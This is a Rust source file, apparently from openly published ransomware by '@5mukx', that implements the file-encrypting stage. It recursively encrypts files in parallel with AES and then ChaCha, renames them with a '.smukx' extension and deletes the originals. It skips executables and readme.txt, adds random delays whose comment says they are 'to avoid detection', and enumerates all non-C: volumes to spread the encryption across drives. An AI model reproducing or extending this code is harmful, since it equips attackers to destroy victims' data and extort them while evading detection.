/*
    functions to encrypt files
    Author: @5mukx
*/

#![allow(dead_code)]

use std::ffi::OsString;
use std::fs::{self, File, OpenOptions};
use std::io::{Read, Seek, SeekFrom, Write};
use std::path::{Path, PathBuf};
use std::thread;
use std::time::Duration;
use rand::Rng;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::fileapi::{FindFirstVolumeW, FindNextVolumeW, FindVolumeClose,GetVolumePathNamesForVolumeNameW};
use std::os::windows::ffi::OsStringExt;
use std::ptr::null_mut;
use rayon::prelude::*;
use crate::encrypt::{
    encrypt_aes, encrypt_chacha
};

// added random delay to avoid detection !
fn random_delay() {
    let mut rng = rand::thread_rng();
    let delay = rng.gen_range(10..100); //  delay between 10 to 100ms
    std::thread::sleep(std::time::Duration::from_millis(delay));
}

// added rayon [Parallel Encryption]
// added Random Encryption Process ! -> randomize the order of encryption

pub fn recursive_encrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
    if dir.is_dir() {
        match fs::read_dir(dir) {
            Ok(entries) => {
                entries.par_bridge().for_each(|entry| {
                    random_delay(); 
                    match entry {
                        Ok(entry) => {
                            let path = entry.path();
                            if path.is_dir() {
                                recursive_encrypt(&path, key, chacha_key, chacha_nonce);
                            } else {
                                encrypt_file(&path, key, chacha_key, chacha_nonce);
                            }
                        }
                        Err(e) => eprintln!("Failed to read entry: {}", e),
                    }
                });
            }
            Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
        }
    }
}

fn encrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {

    if file_path.extension().and_then(|ext| ext.to_str()) == Some("exe"){
        return;
    }


    if file_path.extension().and_then(|ext| ext.to_str()) == Some("smukx") {
        return;
    }

    if file_path.file_name().map_or(false, |name| name == "readme.txt"){
        return;
    }
    
    let mut contents = Vec::new();
    
    // Handle file open errors
    if let Ok(mut file) = File::open(file_path) {
        if let Err(e) = file.read_to_end(&mut contents) {
            eprintln!("Failed to read file '{}': {}", file_path.display(), e);
            return;
        }
    } else {
        eprintln!("File not found or unable to open: '{}'", file_path.display());
        return;
    }

    let encrypted_aes = encrypt_aes(&contents, key);
    let encrypted_chacha = encrypt_chacha(&encrypted_aes, chacha_key, chacha_nonce);

    let mut new_file_path = PathBuf::from(file_path);
    let new_ext = format!(
        "{}.smukx",
        file_path.extension().and_then(|ext| ext.to_str()).unwrap_or("")
    );
    new_file_path.set_extension(new_ext);

    if let Ok(mut enc_file) = File::create(&new_file_path) {
        if let Err(e) = enc_file.write_all(&encrypted_chacha) {
            eprintln!("Failed to write to file '{}': {}", new_file_path.display(), e);
            return;
        }
    } else {
        eprintln!("Unable to create file '{}'", new_file_path.display());
        return;
    }

    if let Err(e) = fs::remove_file(file_path) {
        eprintln!("Failed to delete the original file '{}': {}", file_path.display(), e);
    }
}


// New Function in chunk mode ...! Problem with decryption !!

// fn encrypt_file_chunks(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], mut chacha_nonce: [u8; 12]) {
    // fn encrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
        
    //     // Skip .exe, .smukx, and specific files
    //     if file_path.extension().and_then(|ext| ext.to_str()) == Some("exe") {
    //         eprintln!("Skipping encryption for executable file: {}", file_path.display());
    //         return;
    //     }

    //     if file_path.extension().and_then(|ext| ext.to_str()) == Some("smukx") {
    //         return;
    //     }

    //     if file_path.file_name().map_or(false, |name| name == "readme.txt") {
    //         return;
    //     }
    
    //     // Open the file for reading and writing
    //     match OpenOptions::new().read(true).write(true).open(file_path) {
    //         Ok(mut file) => {
    //             let mut buffer = [0u8; 4096]; // Buffer size
    //             loop {
    //                 // Read a chunk from the file
    //                 let n = match file.read(&mut buffer) {
    //                     Ok(0) => break, // EOF
    //                     Ok(n) => n,
    //                     Err(e) => {
    //                         eprintln!("Failed to read from '{}': {}", file_path.display(), e);
    //                         return;
    //                     }
    //                 };
    
    //                 let encrypted_aes = encrypt_aes(&buffer[..n], key);
    //                 let encrypted_chacha = encrypt_chacha(&encrypted_aes, chacha_key, chacha_nonce);
    
    //                 if let Err(e) = file.seek(SeekFrom::Current(-(n as i64))) {
    //                     eprintln!("Failed to seek in file '{}': {}", file_path.display(), e);
    //                     return;
    //                 }

    //                 if let Err(e) = file.write_all(&encrypted_chacha) {
    //                     eprintln!("Failed to write to '{}': {}", file_path.display(), e);
    //                     return;
    //                 }

    //                 // Introduce random delay
    //                 // random_delay();
    //             }
    
    //             // Rename the file to add .smukx extension
    //             let mut new_file_path = PathBuf::from(file_path);
    //             new_file_path.set_extension("smukx");
    //             if let Err(e) = fs::rename(file_path, &new_file_path) {
    //                 eprintln!("Failed to rename file '{}' to '{}': {}", file_path.display(), new_file_path.display(), e);
    //             }
    //         }
    //         Err(e) => eprintln!("File not found or unable to open: '{}': {}", file_path.display(), e),
    //     }
    // }
    



pub(crate) fn get_all_volumes() -> Vec<OsString>{

    let mut drive_letters = Vec::new();
    let mut volume_name: [u16; 260] = [0; 260];
    let mut path_name: [u16; 260] = [0; 260];

    unsafe{
        let volume_handle = FindFirstVolumeW(
            volume_name.as_mut_ptr(),
            260 as u32,
        );

        if volume_handle != null_mut(){
            loop{
                // let name_length = volume_name.iter().position(|&c| c == 0).unwrap_or(260);

                let result = GetVolumePathNamesForVolumeNameW(
                    volume_name.as_ptr(),
                    path_name.as_mut_ptr(),
                    260 as u32,
                    null_mut(),
                );

                if result != 0{
                    let mut start = 0;

                    while start < 260 {
                        let path_name_length = path_name[start..].iter().position(|&c| c == 0).unwrap_or(260);

                        if path_name_length == 0{
                            break;
                        }

                        let path_name = OsString::from_wide(&path_name[start..start + path_name_length]);

                        if !path_name.to_string_lossy().starts_with("C:\\") && !path_name.to_string_lossy().is_empty(){
                            drive_letters.push(path_name);
                        }

                        start += path_name_length + 1;

                    }
                }
                let find_next_volume = FindNextVolumeW(
                    volume_handle, 
                    volume_name.as_mut_ptr(),
                    260 as u32
                );

                if find_next_volume == 0{
                    if GetLastError() == 18{
                        break;
                    }
                }
            }
            FindVolumeClose(volume_handle);
        }
    }
    // At last return the drive letter 
    drive_letters

}
